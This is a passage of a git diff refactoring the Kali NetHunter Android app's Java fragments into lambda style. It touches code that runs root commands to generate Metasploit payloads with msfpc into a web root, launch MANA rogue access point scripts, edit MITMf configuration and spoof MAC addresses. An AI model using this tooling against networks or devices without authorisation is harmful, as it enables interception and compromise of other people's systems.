androidx.fragment.app.Fragment; + public class KaliServicesFragment extends Fragment { /** * The fragment argument representing the section number for this @@ -137,48 +137,40 @@ public void onStop() { private void checkServices(final View rootView) { - new Thread(new Runnable() { + new Thread(() -> { - public void run() { + nh = new NhPaths(); - nh = new NhPaths(); + ShellExecuter exe = new ShellExecuter(); + final ListView servicesList = rootView.findViewById(R.id.servicesList); + String checkCmd = ""; + String checkBootStates = ""; + final String bootScriptPath = nh.APP_INITD_PATH; - ShellExecuter exe = new ShellExecuter(); - final ListView servicesList = (ListView) rootView.findViewById(R.id.servicesList); - String checkCmd = ""; - String checkBootStates = ""; - final String bootScriptPath = nh.APP_INITD_PATH; - - if (KaliServices == null) { - Log.d("Services", "Null KaliServices"); - } else { + if (KaliServices == null) { + Log.d("Services", "Null KaliServices"); + } else { - for (String[] KaliService : KaliServices) { - Log.d("bootScriptPath", KaliService[4]); - } + for (String[] KaliService : KaliServices) { + Log.d("bootScriptPath", KaliService[4]); + } - for (String[] KaliService : KaliServices) { - Log.d("bootScriptPath", bootScriptPath + "/" + KaliService[4]); + for (String[] KaliService : KaliServices) { + Log.d("bootScriptPath", bootScriptPath + "/" + KaliService[4]); - File checkBootFile = new File(bootScriptPath + "/" + KaliService[4]); - if (checkBootFile.exists()) { - checkBootStates += "1"; - } else { - checkBootStates += "0"; - } - checkCmd += KaliService[1] + ";"; + File checkBootFile = new File(bootScriptPath + "/" + KaliService[4]); + if (checkBootFile.exists()) { + checkBootStates += "1"; + } else { + checkBootStates += "0"; } + checkCmd += KaliService[1] + ";"; + } - final String serviceStates = exe.RunAsRootOutput(checkCmd); - final String finalCheckBootStates = checkBootStates; - servicesList.post(new Runnable() { - @Override - public void run() { - servicesList.setAdapter(new KaliServicesLoader(getActivity().getApplicationContext(), serviceStates, finalCheckBootStates, KaliServices, bootScriptPath)); - } - }); + final String serviceStates = exe.RunAsRootOutput(checkCmd); + final String finalCheckBootStates = checkBootStates; + servicesList.post(() -> servicesList.setAdapter(new KaliServicesLoader(getActivity().getApplicationContext(), serviceStates, finalCheckBootStates, KaliServices, bootScriptPath))); - } } }).start(); } @@ -260,10 +252,10 @@ public View getView(final int position, View convertView, ViewGroup parent) { // set up the ViewHolder vH = new ViewHolderItem(); // get the reference of switch and the text view - vH.swTitle = (TextView) convertView.findViewById(R.id.switchTitle); - vH.sw = (Switch) convertView.findViewById(R.id.switch1); - vH.swholder = (TextView) convertView.findViewById(R.id.switchHolder); - vH.swBootCheckbox = (CheckBox) convertView.findViewById(R.id.initAtBoot); + vH.swTitle = convertView.findViewById(R.id.switchTitle); + vH.sw = convertView.findViewById(R.id.switch1); + vH.swholder = convertView.findViewById(R.id.switchHolder); + vH.swBootCheckbox = convertView.findViewById(R.id.initAtBoot); convertView.setTag(vH); //System.out.println ("created row"); } else { @@ -310,59 +302,39 @@ public View getView(final int position, View convertView, ViewGroup parent) { // add listeners final ViewHolderItem finalVH = vH; - vH.sw.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { - @Override - public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { - if (isChecked) { - new Thread(new Runnable() { - public void run() { - exe.RunAsRoot(new String[]{services[position][2]}); - } - - }).start(); - _serviceStates[position] = "1"; - finalVH.swholder.setText(services[position][0] + " Service Started"); - finalVH.swTitle.setTextColor(mContext.getResources().getColor(R.color.blue)); - finalVH.swholder.setTextColor(mContext.getResources().getColor(R.color.blue)); - - } else { - new Thread(new Runnable() { - public void run() { - exe.RunAsRoot(new String[]{services[position][3]}); - } + vH.sw.setOnCheckedChangeListener((buttonView, isChecked) -> { + if (isChecked) { + new Thread(() -> exe.RunAsRoot(new String[]{services[position][2]})).start(); + _serviceStates[position] = "1"; + finalVH.swholder.setText(services[position][0] + " Service Started"); + finalVH.swTitle.setTextColor(mContext.getResources().getColor(R.color.blue)); + finalVH.swholder.setTextColor(mContext.getResources().getColor(R.color.blue)); - }).start(); - _serviceStates[position] = "0"; - finalVH.swholder.setText(services[position][0] + " Service Stopped"); - finalVH.swTitle.setTextColor(mContext.getResources().getColor(R.color.clearTitle)); - finalVH.swholder.setTextColor(mContext.getResources().getColor(R.color.clearText)); + } else { + new Thread(() -> exe.RunAsRoot(new String[]{services[position][3]})).start(); + _serviceStates[position] = "0"; + finalVH.swholder.setText(services[position][0] + " Service Stopped"); + finalVH.swTitle.setTextColor(mContext.getResources().getColor(R.color.clearTitle)); + finalVH.swholder.setTextColor(mContext.getResources().getColor(R.color.clearText)); - } } }); - vH.swBootCheckbox.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { - @Override - public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { - if (isChecked) { - new Thread(new Runnable() { - public void run() { - Log.d("bootservice", "ADD " + services[position][4]); - addBootService(position); - } - }).start(); - _serviceBootStates[position] = "1"; - finalVH.swBootCheckbox.setTextColor(mContext.getResources().getColor(R.color.blue)); - } else { - new Thread(new Runnable() { - public void run() { - Log.d("bootservice", "REMOVE " + services[position][4]); - removeBootService(position); - } - }).start(); - _serviceBootStates[position] = "0"; - finalVH.swBootCheckbox.setTextColor(mContext.getResources().getColor(R.color.clearTitle)); + vH.swBootCheckbox.setOnCheckedChangeListener((buttonView, isChecked) -> { + if (isChecked) { + new Thread(() -> { + Log.d("bootservice", "ADD " + services[position][4]); + addBootService(position); + }).start(); + _serviceBootStates[position] = "1"; + finalVH.swBootCheckbox.setTextColor(mContext.getResources().getColor(R.color.blue)); + } else { + new Thread(() -> { + Log.d("bootservice", "REMOVE " + services[position][4]); + removeBootService(position); + }).start(); + _serviceBootStates[position] = "0"; + finalVH.swBootCheckbox.setTextColor(mContext.getResources().getColor(R.color.clearTitle)); - } } }); return convertView; diff --git a/src/com/offsec/nethunter/LauncherButton.java b/src/com/offsec/nethunter/LauncherButton.java index e517302..26ef790 100644 --- a/src/com/offsec/nethunter/LauncherButton.java +++ b/src/com/offsec/nethunter/LauncherButton.java @@ -4,6 +4,7 @@ package com.offsec.nethunter; import android.content.Context; + import androidx.appcompat.widget.AppCompatButton; public class LauncherButton extends AppCompatButton { diff --git a/src/com/offsec/nethunter/MITMFViewModel.java b/src/com/offsec/nethunter/MITMFViewModel.java index 375c0fb..4606636 100644 --- a/src/com/offsec/nethunter/MITMFViewModel.java +++ b/src/com/offsec/nethunter/MITMFViewModel.java @@ -1,15 +1,14 @@ package com.offsec.nethunter; -import androidx.databinding.BaseObservable; -import androidx.databinding.Bindable; -import androidx.databinding.InverseBindingAdapter; -import androidx.databinding.InverseBindingMethod; -import androidx.databinding.InverseBindingMethods; import android.text.Editable; import android.text.TextWatcher; import android.view.View; import android.widget.CheckBox; +import androidx.databinding.BaseObservable; +import androidx.databinding.Bindable; +import androidx.databinding.InverseBindingAdapter; + public class MITMFViewModel extends BaseObservable { diff --git a/src/com/offsec/nethunter/MITMfFragment.java b/src/com/offsec/nethunter/MITMfFragment.java index 4c5660d..7e83355 100644 --- a/src/com/offsec/nethunter/MITMfFragment.java +++ b/src/com/offsec/nethunter/MITMfFragment.java @@ -3,12 +3,6 @@ import android.content.Intent; import android.os.Bundle; import android.os.Parcelable; -import androidx.fragment.app.Fragment; -import androidx.fragment.app.FragmentManager; -import androidx.fragment.app.FragmentPagerAdapter; -import androidx.viewpager.widget.ViewPager; -import android.text.Editable; -import android.text.TextWatcher; import android.util.Log; import android.view.LayoutInflater; import android.view.Menu; @@ -19,7 +13,6 @@ import android.widget.AdapterView; import android.widget.ArrayAdapter; import android.widget.Button; -import android.widget.CheckBox; import android.widget.EditText; import android.widget.Spinner; import android.widget.TextView; @@ -34,7 +27,11 @@ import java.util.ArrayList; import java.util.List; -import java.util.Objects; + +import androidx.fragment.app.Fragment; +import androidx.fragment.app.FragmentManager; +import androidx.fragment.app.FragmentPagerAdapter; +import androidx.viewpager.widget.ViewPager; public class MITMfFragment extends Fragment { @@ -83,7 +80,7 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle sa View rootView = inflater.inflate(R.layout.mitmf, container, false); tabsPagerAdapter = new TabsPagerAdapter(getActivity().getSupportFragmentManager()); - ViewPager mViewPager = (ViewPager) rootView.findViewById(R.id.pagerMITMF); + ViewPager mViewPager = rootView.findViewById(R.id.pagerMITMF); mViewPager.setAdapter(tabsPagerAdapter); nh = new NhPaths(); @@ -455,23 +452,20 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, final View rootView = inflater.inflate(R.layout.source_short, container, false); String description = getResources().getString(R.string.mitmf_config); - TextView desc = (TextView) rootView.findViewById(R.id.description); + TextView desc = rootView.findViewById(R.id.description); desc.setText(description); - EditText source = (EditText) rootView.findViewById(R.id.source); + EditText source = rootView.findViewById(R.id.source); exe.ReadFile_ASYNC(configFilePath, source); - Button button = (Button) rootView.findViewById(R.id.update); - button.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View v) { - EditText source = (EditText) rootView.findViewById(R.id.source); - Boolean isSaved = exe.SaveFileContents(source.getText().toString(), configFilePath); - if (isSaved) { - nh.showMessage("Source updated"); - } else { - nh.showMessage("Source not updated"); - } + Button button = rootView.findViewById(R.id.update); + button.setOnClickListener(v -> { + EditText source1 = rootView.findViewById(R.id.source); + Boolean isSaved = exe.SaveFileContents(source1.getText().toString(), configFilePath); + if (isSaved) { + nh.showMessage("Source updated"); + } else { + nh.showMessage("Source not updated"); } }); return rootView; diff --git a/src/com/offsec/nethunter/MPCFragment.java b/src/com/offsec/nethunter/MPCFragment.java index 719adc8..e922ee0 100644 --- a/src/com/offsec/nethunter/MPCFragment.java +++ b/src/com/offsec/nethunter/MPCFragment.java @@ -6,7 +6,6 @@ import android.net.wifi.WifiInfo; import android.net.wifi.WifiManager; import android.os.Bundle; -import androidx.fragment.app.Fragment; import android.util.Log; import android.view.LayoutInflater; import android.view.View; @@ -21,6 +20,8 @@ import java.util.Locale; +import androidx.fragment.app.Fragment; + public class MPCFragment extends Fragment { private String typeVar; @@ -52,7 +53,7 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle sa // Payload Type Spinner - Spinner typeSpinner = (Spinner) rootView.findViewById(R.id.mpc_type_spinner); + Spinner typeSpinner = rootView.findViewById(R.id.mpc_type_spinner); ArrayAdapter typeAdapter = ArrayAdapter.createFromResource(getActivity(), R.array.mpc_type_array, R.layout.payload_maker_item); //typeAdapter.setDropDownViewResource(R.layout.payload_maker_item); @@ -115,7 +116,7 @@ public void onNothingSelected(AdapterView parent) { }); // Payload Spinner - Spinner payloadSpinner = (Spinner) rootView.findViewById(R.id.mpc_payload_spinner); + Spinner payloadSpinner = rootView.findViewById(R.id.mpc_payload_spinner); ArrayAdapter payloadAdapter = ArrayAdapter.createFromResource(getActivity(), R.array.mpc_payload_array, R.layout.payload_maker_item); //typeAdapter.setDropDownViewResource(R.layout.payload_maker_item); @@ -141,7 +142,7 @@ public void onNothingSelected(AdapterView parent) { }); // Callback Spinner - Spinner callbackSpinner = (Spinner) rootView.findViewById(R.id.mpc_callback_spinner); + Spinner callbackSpinner = rootView.findViewById(R.id.mpc_callback_spinner); ArrayAdapter callbackAdapter = ArrayAdapter.createFromResource(getActivity(), R.array.mpc_callback_array, R.layout.payload_maker_item); //typeAdapter.setDropDownViewResource(R.layout.payload_maker_item); @@ -167,7 +168,7 @@ public void onNothingSelected(AdapterView parent) { }); // Stager Spinner - Spinner stageSpinner = (Spinner) rootView.findViewById(R.id.mpc_stage_spinner); + Spinner stageSpinner = rootView.findViewById(R.id.mpc_stage_spinner); ArrayAdapter stagerAdapter = ArrayAdapter.createFromResource(getActivity(), R.array.mpc_stage_array, R.layout.payload_maker_item); //typeAdapter.setDropDownViewResource(R.layout.payload_maker_item); @@ -193,7 +194,7 @@ public void onNothingSelected(AdapterView parent) { }); // Callback Type SPinner - Spinner callbackTypeSpinner = (Spinner) rootView.findViewById(R.id.mpc_callbacktype_spinner); + Spinner callbackTypeSpinner = rootView.findViewById(R.id.mpc_callbacktype_spinner); ArrayAdapter callbackTypeAdapter = ArrayAdapter.createFromResource(getActivity(), R.array.mpc_callbacktype_array, R.layout.payload_maker_item); //typeAdapter.setDropDownViewResource(R.layout.payload_maker_item); @@ -229,7 +230,7 @@ public void onNothingSelected(AdapterView parent) { }); // Port Text Field - EditText port = (EditText) rootView.findViewById(R.id.mpc_port); + EditText port = rootView.findViewById(R.id.mpc_port); port.setText(R.string.mpc_port_default); //final String PortStr = port.getText().toString(); @@ -241,7 +242,7 @@ public void onNothingSelected(AdapterView parent) { String ip = String.format(Locale.getDefault(),"%d.%d.%d.%d", (ipAddress & 0xff), (ipAddress >> 8 & 0xff), (ipAddress >> 16 & 0xff), (ipAddress >> 24 & 0xff)); // IP Text Field - EditText ipaddress = (EditText) rootView.findViewById(R.id.mpc_ip_address); + EditText ipaddress = rootView.findViewById(R.id.mpc_ip_address); ipaddress.setText(ip); //final String IPAddressStr = ipaddress.getText().toString(); // this should not be assigned like that @@ -251,26 +252,22 @@ public void onNothingSelected(AdapterView parent) { Log.d("start cmd values", getCmd(rootView)); // Buttons - addClickListener(R.id.mpc_GenerateSDCARD, new View.OnClickListener() { - public void onClick(View v) { - Log.d("thecmd", "cd /sdcard/; msfpc " + getCmd(rootView)); - intentClickListener_NH("cd /sdcard/; msfpc " + getCmd(rootView)); // since is a kali command we can send it as is - } + addClickListener(R.id.mpc_GenerateSDCARD, v -> { + Log.d("thecmd", "cd /sdcard/; msfpc " + getCmd(rootView)); + intentClickListener_NH("cd /sdcard/; msfpc " + getCmd(rootView)); // since is a kali command we can send it as is }, rootView); - addClickListener(R.id.mpc_GenerateHTTP, new View.OnClickListener() { - public void onClick(View v) { - Log.d("thecmd", "cd /var/www/html; msfpc " + getCmd(rootView)); - intentClickListener_NH("cd /var/www/html; msfpc " + getCmd(rootView)); // since is a kali command we can send it as is - } + addClickListener(R.id.mpc_GenerateHTTP, v -> { + Log.d("thecmd", "cd /var/www/html; msfpc " + getCmd(rootView)); + intentClickListener_NH("cd /var/www/html; msfpc " + getCmd(rootView)); // since is a kali command we can send it as is }, rootView); return rootView; } private String getCmd(View rootView) { - EditText ipaddress = (EditText) rootView.findViewById(R.id.mpc_ip_address); - EditText port = (EditText) rootView.findViewById(R.id.mpc_port); + EditText ipaddress = rootView.findViewById(R.id.mpc_ip_address); + EditText port = rootView.findViewById(R.id.mpc_port); return typeVar + " " + ipaddress.getText() + " " + port.getText() + " " + payloadVar + " " + callbackVar + " " + " " + stagerVar + " " + callbackTypeVar; } diff --git a/src/com/offsec/nethunter/MacchangerFragment.java b/src/com/offsec/nethunter/MacchangerFragment.java index ff8bd37..dfd96e4 100644 --- a/src/com/offsec/nethunter/MacchangerFragment.java +++ b/src/com/offsec/nethunter/MacchangerFragment.java @@ -2,15 +2,12 @@ import android.content.Context; -import android.content.DialogInterface; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.Build; import android.os.Bundle; import android.os.PowerManager; import android.os.StrictMode; -import androidx.fragment.app.Fragment; -import androidx.appcompat.app.AlertDialog; import android.util.Log; import android.view.LayoutInflater; import android.view.Menu; @@ -34,6 +31,9 @@ import java.util.List; import java.util.Random; +import androidx.appcompat.app.AlertDialog; +import androidx.fragment.app.Fragment; + public class MacchangerFragment extends Fragment { @@ -68,7 +68,7 @@ public void onPrepareOptionsMenu(Menu menu) { return; } View v = getView(); - final Spinner interfaceSpinner = (Spinner) v.findViewById(R.id.interface_opts); + final Spinner interfaceSpinner = v.findViewById(R.id.interface_opts); String selectedInterface = interfaceSpinner.getSelectedItem().toString(); String cleanInterface = selectedInterface.split(" ")[0]; menu.findItem(R.id.reset_mac).setTitle(String.format("Reset %s MAC", cleanInterface)); @@ -97,11 +97,11 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle sa setHasOptionsMenu(true); View rootView = inflater.inflate(R.layout.macchanger, container, false); // get views - final Spinner interfaceSpinner = (Spinner) rootView.findViewById(R.id.interface_opts); - final Spinner macModeSpinner = (Spinner) rootView.findViewById(R.id.macchanger_opts); - final Button setMacButton = (Button) rootView.findViewById(R.id.set_mac_button); - final Button setHostname = (Button) rootView.findViewById(R.id.setHostname); - final EditText phoneName = (EditText) rootView.findViewById(R.id.phone_nameText); + final Spinner interfaceSpinner = rootView.findViewById(R.id.interface_opts); + final Spinner macModeSpinner = rootView.findViewById(R.id.macchanger_opts); + final Button setMacButton = rootView.findViewById(R.id.set_mac_button); + final Button setHostname = rootView.findViewById(R.id.setHostname); + final EditText phoneName = rootView.findViewById(R.id.phone_nameText); if (isOPO() && !sharedpreferences.contains("opo_original_mac")) { Editor editor = sharedpreferences.edit(); editor.putString("opo_original_mac", exe.RunAsRootWithException("cat /sys/devices/fb000000.qcom,wcnss-wlan/wcnss_mac_addr")); @@ -110,16 +110,9 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle sa } Log.d("opo_original_mac", sharedpreferences.getString("opo_original_mac", "")); //############### - new Thread(new Runnable() { - public void run() { - final String hostname = getHostname(); - phoneName.post(new Runnable() { - @Override - public void run() { - phoneName.setText(hostname); - } - }); - } + new Thread(() -> { + final String hostname = getHostname(); + phoneName.post(() -> phoneName.setText(hostname)); }).start(); // ############################ @@ -133,10 +126,10 @@ public void run() { } interfaceSpinner.setAdapter(new ArrayAdapter<>(getContext(), R.layout.macchanger_ifaces_item, ifacesList)); - final TextView macResult = (TextView) rootView.findViewById(R.id.macResult); + final TextView macResult = rootView.findViewById(R.id.macResult); - final TextView currMac = (TextView) rootView.findViewById(R.id.currMac); - final ImageButton reloadMAC = (ImageButton) rootView.findViewById(R.id.reloadMAC); + final TextView currMac = rootView.findViewById(R.id.currMac); + final ImageButton reloadMAC = rootView.findViewById(R.id.reloadMAC); // index for the arrays int current_interface = -1; int current_mode = -1; @@ -194,30 +187,14 @@ public void onNothingSelected(AdapterView arg0) { }); - setHostname.setOnClickListener(new OnClickListener() { - @Override - public void onClick(final View v) { - new Thread(new Runnable() { - public void run() { - setHostname(phoneName.getText().toString()); - v.post(new Runnable() { - @Override - public void run() { - nh.showMessage("Hostname changed"); - } - }); - } - }).start(); - - } - }); - reloadMAC.setOnClickListener(new OnClickListener() { - @Override - public void onClick(View v) { - String selectedInterface = interfaceSpinner.getSelectedItem().toString(); - String cleanInterface = selectedInterface.split(" ")[0]; - getCurrentMac(cleanInterface, currMac, setMacButton); - } + setHostname.setOnClickListener(v -> new Thread(() -> { + setHostname(phoneName.getText().toString()); + v.post(() -> nh.showMessage("Hostname changed")); + }).start()); + reloadMAC.setOnClickListener(v -> { + String selectedInterface = interfaceSpinner.getSelectedItem().toString(); + String cleanInterface = selectedInterface.split(" ")[0]; + getCurrentMac(cleanInterface, currMac, setMacButton); }); macModeSpinner.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() { @@ -286,23 +263,14 @@ public void onClick(View v) { } final String finalCommand = command; - new Thread(new Runnable() { - public void run() { - exe.RunAsRootWithException(finalCommand); - macModeSpinner.post(new Runnable() { - @Override - public void run() { - new android.os.Handler().postDelayed( - new Runnable() { - public void run() { - nh.showMessage("Refreshing the current MAC."); - refreshMAc(); - - } - }, 1000); - } - }); - } + new Thread(() -> { + exe.RunAsRootWithException(finalCommand); + macModeSpinner.post(() -> new android.os.Handler().postDelayed( + () -> { + nh.showMessage("Refreshing the current MAC."); + refreshMAc(); + + }, 1000)); }).start(); } else { exe.RunAsRootWithException(nh.whichBusybox() + " ifconfig " + selectedDevice + " down"); @@ -312,12 +280,10 @@ public void run() { // macResult.setText(); new android.os.Handler().postDelayed( - new Runnable() { - public void run() { - exe.RunAsRootWithException(nh.whichBusybox() + " ifconfig " + selectedDevice + " up"); - nh.showMessage("Refreshing the current MAC."); - refreshMAc(); - } + () -> { + exe.RunAsRootWithException(nh.whichBusybox() + " ifconfig " + selectedDevice + " up"); + nh.showMessage("Refreshing the current MAC."); + refreshMAc(); }, 500); } @@ -344,22 +310,13 @@ public void run() { macsArray; } final String finalCommand = command; - new Thread(new Runnable() { - public void run() { - exe.RunAsRootWithException(finalCommand); - macModeSpinner.post(new Runnable() { - @Override - public void run() { - new android.os.Handler().postDelayed( - new Runnable() { - public void run() { - nh.showMessage("Refreshing the current MAC."); - refreshMAc(); - } - }, 1000); - } - }); - } + new Thread(() -> { + exe.RunAsRootWithException(finalCommand); + macModeSpinner.post(() -> new android.os.Handler().postDelayed( + () -> { + nh.showMessage("Refreshing the current MAC."); + refreshMAc(); + }, 1000)); }).start(); } else { @@ -369,12 +326,10 @@ public void run() { // macResult.setText(); new android.os.Handler().postDelayed( - new Runnable() { - public void run() { - exe.RunAsRootWithException(nh.whichBusybox() + " ifconfig " + selectedDevice + " up"); - nh.showMessage("Refreshing the current MAC."); - refreshMAc(); - } + () -> { + exe.RunAsRootWithException(nh.whichBusybox() + " ifconfig " + selectedDevice + " up"); + nh.showMessage("Refreshing the current MAC."); + refreshMAc(); }, 500); } @@ -404,12 +359,12 @@ private String getMacValues() { } View v = getView(); // edittext for the custom MAC addr - final EditText mac1 = (EditText) v.findViewById(R.id.mac1); - final EditText mac2 = (EditText) v.findViewById(R.id.mac2); - final EditText mac3 = (EditText) v.findViewById(R.id.mac3); - final EditText mac4 = (EditText) v.findViewById(R.id.mac4); - final EditText mac5 = (EditText) v.findViewById(R.id.mac5); - final EditText mac6 = (EditText) v.findViewById(R.id.mac6); + final EditText mac1 = v.findViewById(R.id.mac1); + final EditText mac2 = v.findViewById(R.id.mac2); + final EditText mac3 = v.findViewById(R.id.mac3); + final EditText mac4 = v.findViewById(R.id.mac4); + final EditText mac5 = v.findViewById(R.id.mac5); + final EditText mac6 = v.findViewById(R.id.mac6); String delimiter_default = ":"; @@ -425,9 +380,9 @@ private void refreshMAc() { if (getView() == null) { return; } - final Spinner interfaceSpinner = (Spinner) getView().findViewById(R.id.interface_opts); - final TextView currMac = (TextView) getView().findViewById(R.id.currMac); - final Button setMacButton = (Button) getView().findViewById(R.id.set_mac_button); + final Spinner interfaceSpinner = getView().findViewById(R.id.interface_opts); + final TextView currMac = getView().findViewById(R.id.currMac); + final Button setMacButton = getView().findViewById(R.id.set_mac_button); String selectedInterface = interfaceSpinner.getSelectedItem().toString(); String cleanInterface = selectedInterface.split(" ")[0]; getCurrentMac(cleanInterface, currMac, setMacButton); @@ -439,57 +394,49 @@ private void getCurrentMac(final String theDevice, final TextView currMac, final currMac.setText(String.format("Reading %s", theDevice)); - new Thread(new Runnable() { - public void run() { - - try { + new Thread(() -> { - StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build(); - StrictMode.setThreadPolicy(policy); + try { + StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build(); + StrictMode.setThreadPolicy(policy); - String fileMac = "/sys/class/net/" + theDevice + "/address"; - final String _res; - _res = exe.ReadFile_SYNC(fileMac); // get the response + String fileMac = "/sys/class/net/" + theDevice + "/address"; + final String _res; - currMac.post(new Runnable() { - public void run() { - if (_res.equals("")) { - String notFound = "MAC not found"; - currMac.setText(notFound); - setMacButton.setEnabled(false); - setMacButton.setText(String.format("%s not detected", theDevice)); //interface is down| not plugged etc - } else { + _res = exe.ReadFile_SYNC(fileMac); // get the response - setMacButton.setEnabled(true); - currMac.setText(_res); //set the current mac if found + currMac.post(() -> { + if (_res.equals("")) { + String notFound = "MAC not found"; + currMac.setText(notFound); + setMacButton.setEnabled(false); + setMacButton.setText(String.format("%s not detected", theDevice)); //interface is down| not plugged etc + } else { - sharedpreferences = getActivity().getSharedPreferences("com.offsec.nethunter", Context.MODE_PRIVATE); - String slt = sharedpreferences.getString("macchanger_opts", ""); + setMacButton.setEnabled(true); + currMac.setText(_res); //set the current mac if found + sharedpreferences = getActivity().getSharedPreferences("com.offsec.nethunter", Context.MODE_PRIVATE); + String slt = sharedpreferences.getString("macchanger_opts", ""); - // update button - if (slt.equals("Random MAC")) { - setMacButton.setText(String.format("Set Random MAC on %s", theDevice)); - } - if (slt.equals("Custom MAC")) { - setMacButton.setText(String.format("Set Custom MAC on %s", theDevice)); + // update button + if (slt.equals("Random MAC")) { + setMacButton.setText(String.format("Set Random MAC on %s", theDevice)); + } - } - } + if (slt.equals("Custom MAC")) { + setMacButton.setText(String.format("Set Custom MAC on %s", theDevice)); } - }); + } - } catch (final Exception e) { - currMac.post(new Runnable() { - public void run() { - currMac.setText(String.format("Error getting %s MAC: %s", theDevice, e)); - } - }); - } + }); + + } catch (final Exception e) { + currMac.post(() -> currMac.setText(String.format("Error getting %s MAC: %s", theDevice, e))); } }).start(); @@ -500,7 +447,7 @@ private void resetMac() { return; } View v = getView(); - final Spinner interfaceSpinner = (Spinner) v.findViewById(R.id.interface_opts); + final Spinner interfaceSpinner = v.findViewById(R.id.interface_opts); String selectedInterface = interfaceSpinner.getSelectedItem().toString(); final String cleanInterface = selectedInterface.split(" ")[0]; String command; @@ -523,22 +470,13 @@ private void resetMac() { } final String finalCommand = command; - new Thread(new Runnable() { - public void run() { - exe.RunAsRootWithException(finalCommand); - interfaceSpinner.post(new Runnable() { - @Override - public void run() { - new android.os.Handler().postDelayed( - new Runnable() { - public void run() { - nh.showMessage("Refreshing the current MAC."); - refreshMAc(); - } - }, 1000); - } - }); - } + new Thread(() -> { + exe.RunAsRootWithException(finalCommand); + interfaceSpinner.post(() -> new android.os.Handler().postDelayed( + () -> { + nh.showMessage("Refreshing the current MAC."); + refreshMAc(); + }, 1000)); }).start(); } else { nh.showMessage("Resetting " + cleanInterface + " MAC"); @@ -548,12 +486,10 @@ public void run() { exe.RunAsRootWithException(resetCmd); new android.os.Handler().postDelayed( - new Runnable() { - public void run() { - exe.RunAsRootWithException(nh.whichBusybox() + " ifconfig " + cleanInterface + " up"); - nh.showMessage("Refreshing the current MAC."); - refreshMAc(); - } + () -> { + exe.RunAsRootWithException(nh.whichBusybox() + " ifconfig " + cleanInterface + " up"); + nh.showMessage("Refreshing the current MAC."); + refreshMAc(); }, 500); } @@ -581,12 +517,8 @@ public void saveMacDialog() { AlertDialog.Builder builder = new AlertDialog.Builder(getActivity()); builder.setTitle("Saving mac:"); builder.setMessage("Not implemented WIP"); - builder.setPositiveButton("OK", new DialogInterface.OnClickListener() { - - @Override - public void onClick(DialogInterface dialog, int which) { + builder.setPositiveButton("OK", (dialog, which) -> { - } }); builder.show(); @@ -596,12 +528,7 @@ public void loadSavedMacDialog() { AlertDialog.Builder builder = new AlertDialog.Builder(getActivity()); builder.setTitle("Load saved MAC:"); builder.setMessage("Not implemented WIP"); - builder.setPositiveButton("OK", new DialogInterface.OnClickListener() { - - @Override - public void onClick(DialogInterface dialog, int which) { - - } + builder.setPositiveButton("OK", (dialog, which) -> { }); builder.show(); diff --git a/src/com/offsec/nethunter/ManaFragment.java b/src/com/offsec/nethunter/ManaFragment.java index 2cbd3d7..c8880a9 100644 --- a/src/com/offsec/nethunter/ManaFragment.java +++ b/src/com/offsec/nethunter/ManaFragment.java @@ -1,15 +1,9 @@ package com.offsec.nethunter; -import android.content.DialogInterface; import android.content.Intent; import android.os.Build; import android.os.Bundle; import android.os.Parcelable; -import androidx.fragment.app.Fragment; -import androidx.fragment.app.FragmentManager; -import androidx.fragment.app.FragmentPagerAdapter; -import androidx.viewpager.widget.ViewPager; -import androidx.appcompat.app.AlertDialog; import android.util.Log; import android.view.LayoutInflater; import android.view.Menu; @@ -32,6 +26,12 @@ import java.util.regex.Matcher; import java.util.regex.Pattern; +import androidx.appcompat.app.AlertDialog; +import androidx.fragment.app.Fragment; +import androidx.fragment.app.FragmentManager; +import androidx.fragment.app.FragmentPagerAdapter; +import androidx.viewpager.widget.ViewPager; + //import android.app.Fragment; //import android.support.v4.app.FragmentActivity; @@ -61,7 +61,7 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle sa View rootView = inflater.inflate(R.layout.mana, container, false); TabsPagerAdapter tabsPagerAdapter = new TabsPagerAdapter(getActivity().getSupportFragmentManager()); - mViewPager = (ViewPager) rootView.findViewById(R.id.pagerMana); + mViewPager = rootView.findViewById(R.id.pagerMana); mViewPager.setAdapter(tabsPagerAdapter); mViewPager.addOnPageChangeListener(new ViewPager.SimpleOnPageChangeListener() { @@ -122,74 +122,62 @@ public boolean onOptionsItemSelected(MenuItem item) { private void startMana() { AlertDialog.Builder builder = new AlertDialog.Builder(getActivity()); builder.setTitle("Script to execute:"); - builder.setPositiveButton("Start", new DialogInterface.OnClickListener() { - @Override - public void onClick(DialogInterface dialog, int which) { - switch (selectedScriptIndex) { - // launching mana on the terminal so it doesnt die suddenly - case 0: - nh.showMessage("Starting MANA NAT FULL"); - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { - intentClickListener_NH(nh.makeTermTitle("MANA-FULL") + "/usr/share/mana-toolkit/run-mana/start-nat-full-lollipop.sh"); - } else { - intentClickListener_NH(nh.makeTermTitle("MANA-FULL") + "/usr/share/mana-toolkit/run-mana/start-nat-full-kitkat.sh"); - } - break; - case 1: - nh.showMessage("Starting MANA NAT SIMPLE"); - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { - intentClickListener_NH(nh.makeTermTitle("MANA-SIMPLE") + "/usr/share/mana-toolkit/run-mana/start-nat-simple-lollipop.sh"); - } else { - intentClickListener_NH(nh.makeTermTitle("MANA-SIMPLE") + "/usr/share/mana-toolkit/run-mana/start-nat-simple-kitkat.sh"); - } - break; - case 2: - nh.showMessage("Starting MANA Bettercap"); - intentClickListener_NH(nh.makeTermTitle("MANA-BETTERCAP") + "/usr/bin/start-nat-transproxy-lollipop.sh"); - break; - case 3: - nh.showMessage("Starting MANA NAT SIMPLE && BDF"); - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { - 